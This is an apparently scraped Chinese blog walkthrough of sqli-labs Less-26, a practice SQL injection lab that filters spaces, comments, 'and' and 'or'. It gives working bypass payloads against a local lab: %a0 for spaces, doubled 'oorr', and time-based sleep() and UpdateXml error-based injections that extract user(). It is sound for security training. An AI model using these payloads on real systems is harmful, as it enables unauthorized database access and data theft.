1. 程式人生 > >【sqli-labs】 less26 GET- Error based -All you SPACES and COMMENTS belong to us(GET型基於錯誤的去除了空格和註釋的註入)

【sqli-labs】 less26 GET- Error based -All you SPACES and COMMENTS belong to us(GET型基於錯誤的去除了空格和註釋的註入)

src blog sci 字符 XML 包含 col concat image

技術分享圖片

看了下源碼

所有的註釋形式和反斜線,and,or都被了過濾掉了

技術分享圖片

單引號沒有過濾

空格也被過濾了

http://localhost/sqli-labs-master/Less-26/?id=1‘

技術分享圖片

http://localhost/sqli-labs-master/Less-26/?id=1‘ ‘

技術分享圖片

看了網上的一些方法都是使用了%a0替換掉了空格

http://localhost/sqli-labs-master/Less-26/?id=1‘%a0oorr%a0‘1‘=‘1

但是出了一點問題,似乎無法識別%a0這個字符,有人說是window環境下apache的問題

技術分享圖片

可以先放著,因為這個語句是可以正常被執行的

http://localhost/sqli-labs-master/Less-26/?id=1‘oorr‘1‘=‘1
SELECT * FROM users WHERE id=1or1=1 LIMIT 0,1

技術分享圖片

利用這一點,可以構造這樣的註入

id參數的值不包含註釋不包含空格,卻可以在正常執行,當user()的第一個字符為‘r‘的時候,延時1s

http://localhost/sqli-labs-master/Less-26/?id=1‘%26%26sleep(ascii(mid(user(),1,1))=114)%26%26‘1‘=‘1
select * from users where id=1&&sleep(ascii(mid(user(),1,1))=114)&&
1=1 limit 0,1

技術分享圖片

當然出錯信息沒有被屏蔽也可以用UpdateXml函數直接報錯來顯示

http://localhost/sqli-labs-master/Less-26/?id=1‘%26%26UpdateXml(1,concat(0x7e,user(),0x7e),1)%26%26‘1‘=‘1

技術分享圖片

【sqli-labs】 less26 GET- Error based -All you SPACES and COMMENTS belong to us(GET型基於錯誤的去除了空格和註釋的註入)